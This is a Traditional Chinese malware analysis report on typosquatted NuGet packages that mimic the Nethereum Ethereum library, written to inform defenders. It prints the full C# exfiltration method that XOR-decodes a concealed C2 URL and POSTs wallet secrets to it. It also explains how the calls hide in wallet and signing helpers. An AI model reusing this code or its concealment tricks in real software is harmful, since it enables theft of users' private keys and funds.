摘要
軟體供應鏈攻擊持續對現代應用程式開發構成重大威脅。本報告詳述了一項惡意攻擊的技術分析,該攻擊涉及 typosquatted NuGet 套件,特別是針對流行的以太坊函式庫 Nethereum。該攻擊透過
Netherеum.All
和
NethereumNet
等套件
[1]
進行,採用複雜的技術來外洩敏感的加密貨幣錢包資料,包括私鑰和助記詞。攻擊的核心在於一個混淆的 Command-and-Control (C2) 機制,該機制實作於一個看似合法的交易服務類別中。本分析深入探討了基於 XOR 的 C2 解碼 routine 以及隨後的 HTTPS POST 外洩方法,凸顯了此類惡意程式碼注入的微妙且有效的性質。
1. 簡介
對於像 .NET 生態系統中的 NuGet 這類開源套件儲存庫的依賴,為軟體供應鏈帶來了固有弱點。Threat actor 經常透過像 typosquatting 這樣的技術來利用人為錯誤和自動化的依賴項解析,其中惡意套件的命名與流行的合法套件相似 [1] 。Nethereum 函式庫,一個廣泛用於與以太坊區塊鏈互動的 .NET 實作,成為此類攻擊的目標。這些惡意套件旨在模仿 Nethereum 的功能,同時秘密嵌入一個後門,以竊取關鍵的使用者資料。本研究著重於 Payload 的技術複雜性,提供了 C2 通訊和資料外洩程序的詳細解析。
這些惡意套件以
nethereumgroup
和
NethereumCsharp
等別名發布,被設計成在功能上與真正的 Nethereum 函式庫相似,並引用了像
Nethereum.Hex
和
Nethereum.Signer
等合法依賴項
[1]
。這種欺騙性的結構確保了使用惡意套件的應用程式能夠編譯和執行預期的以太坊操作,從而隱藏了供應鏈後門的存在。
2. Typosquatting 與惡意套件部署
該攻擊利用了經典的 typosquatting 策略。其中一個主要的惡意套件
Netherеum.All
,在套件名稱中使用了西里爾字母 'е' (U+0435) 來代替拉丁字母 'e' (U+0065),使其在視覺上與合法的
Nethereum.All
套件幾乎無法區分。另一個套件
NethereumNet
則採用了簡單的後綴變化
[1]
。這項技術旨在欺騙可能輸錯套件名稱或依賴自動完成功能的開發人員,使其不慎安裝到被滲透的版本。
Threat actor 透過避免在安裝階段執行,確保惡意套件不會立即被安全掃描器標記。惡意的 beacon 被設計成僅在執行時呼叫特定的輔助函式時才會觸發 [1] 。這種延遲執行是繞過靜態分析和初始安全檢查的常見戰術。
3. Payload 的技術解剖
核心惡意功能集中在一個名為
Shuffle
的方法中,該方法位於
Nethereum.Accounts
命名空間中名為
EIP70221TransactionService
的類別內
[1]
。選擇此命名慣例是為了使其與充滿 以太坊改進提案(Ethereum Improvement Proposal, EIP)相關服務和類別的合法 Nethereum 程式碼庫無縫融合。
3.1. C2 通訊混淆
Payload 最關鍵的部分是用來隱藏 Command-and-Control (C2) 伺服器 URL 的機制。C2 端點不是以純文字儲存,而是被編碼為一個 43 個字元的字串,作為種子 (seed)。該 URL 在執行時使用基於位置的 XOR cipher 進行動態解碼。這項技術可有效地規避簡單的字串匹配偵測方法。
編碼後的種子字串是
jwwrs:./ronaoanettorkinstance[.]info/api/gads
。這個字串被一個 44-byte mask 進行 XOR 運算,以揭示真正的 C2 端點:
https://solananetworkinstance[.]info/api/gads
[1]
。使用簡單、小數值的 mask(例如 2、3、0)進行 XOR 運算是實現混淆的低開銷方法。
下圖說明了 C2 解碼的程序:
圖 1:C2 URL 解碼機制的流程圖
3.2. Shuffle 方法的程式碼分析
Shuffle
方法的 C# 程式碼是惡意操作的核心。它執行解碼和隨後的資料外洩。使用
new char[43] { ... }
明確將編碼字串定義為一個字元陣列,然後使用 LINQ 的
.Select()
方法進行處理,根據其索引
i
對每個字元應用 XOR 運算。
下方的片段顯示了負責 C2 URL 解碼和外洩邏輯的關鍵部分 [1] 。
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Net.Http;
- using System.Threading.Tasks;
- namespace Nethereum.Accounts
- {
- internal class EIP70221TransactionService
- {
- /// <summary>
- /// Malicious method designed to exfiltrate sensitive data.
- /// It decodes the C2 URL using XOR and sends the input data to it.
- /// </summary>
- public static async Task Shuffle(string data)
- {
- // The encoded C2 URL seed. This is obfuscated to avoid detection.
- char[] encodedSeed = new char[43] {
- 'j','w','w','r','s',':','.','/','r','o','n','a','o','a','n','e','t','t','o','r','k','i','n','s','t','a','n','c','e','.','i','n','f','o','/','a','p','i','/','g','a','d','s'
- };
- // The position-based XOR mask used for decoding.
- byte[] xorMask = new byte[44] {
- 2,3,3,2,0,0,1,0,1,0,2,0,1,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
- };
- // Runtime decoding of the URL using XOR.
- string u = new string(
- encodedSeed
- .Select((c, i) => (char)(c ^ xorMask[i]))
- .ToArray()
- );
- // Exfiltration: An HttpClient is used to send the data to the decoded C2 URL.
- using var cl = new HttpClient();
- // The sensitive data ('data' parameter) is sent as the value of a form field named "message".
- var content = new FormUrlEncodedContent(new Dictionary<string, string> { ["message"] = data });
- await cl.PostAsync(new Uri(u), content);
- }
- }
- }
4. 外洩與攻擊媒介
Shuffle
方法被設計成在敏感操作發生時,由看似合法的包裝器程式碼直接或間接呼叫。報告指出,
Shuffle
被呼叫在關鍵的建構子、錢包和帳戶初始化,以及簽署輔助函式中
[1]
。這種策略性的佈局確保了任何涉及建立、載入或使用錢包或私鑰的常規流程,都會不經意地將敏感資料傳遞給惡意函式。
4.1. 資料外洩機制
一旦 C2 URL 被解碼,外洩程序就很簡單了。該方法使用內建的 .NET
HttpClient
來執行非同步的 HTTP POST Request。敏感資料,它可能是私鑰、助記詞,或序列化的交易 blob,作為
data
字串參數傳遞給
Shuffle
方法。
接著,這個
data
字串被封裝在一個
FormUrlEncodedContent
物件中,作為名為
message
表單欄位的值。使用帶有表單資料的標準 HTTP POST 是一種簡單、有效且經常被忽略的資料外洩方法,因為它模仿了正常的網路流量,且較不容易被未專門尋找 C2 網域的網路監控工具標記。
4.2. 攻擊觸發與整合
這次攻擊的關鍵因素是惡意的
Shuffle
呼叫被整合到周圍看似良性的程式碼中。透過鏡像合法函式庫的命名空間和類別結構,Threat actor 創建了一個可信的環境。開發人員在不知情的情況下使用 typosquatted 套件,會呼叫他們認為是安全、標準函式庫的函式(例如,錢包初始化輔助函式)。而這個輔助函式又包含了一個對
Shuffle
的隱藏呼叫,傳遞了新生成或載入的秘密資料。
下圖說明了攻擊的高層次控制流程,從套件使用到資料外洩:
圖 2:高層次攻擊流程圖。
5. 緩解與結論
此事件突顯了軟體供應鏈攻擊的持續和不斷演變的威脅。結合執行時 C2 混淆的細微 typosquatting 的使用,顯示出 Threat actor 為了最大限度地延長惡意程式碼的潛伏時間而做出的協同努力。對抗此類攻擊的主要防禦措施在於嚴格的套件驗證。
開發人員必須採用執行深度依賴項分析的工具,例如那些檢查套件信譽、維護者歷史記錄和清單完整性的工具,而不是僅僅依賴套件名稱的相似性。此外,能夠在看似無害的函式庫功能中偵測混淆字串和異常網路活動的靜態分析工具,對於先發制人的偵測至關重要。
總而言之,對針對 Nethereum 的惡意 NuGet 活動的分析揭示了一個技術上簡單但極其有效的Payload。XOR 解碼機制是一種經典技術,被重新用於現代供應鏈攻擊,而它被整合到函式庫的核心功能中,有力地提醒了我們對所有第三方依賴項進行加強審查的必要性。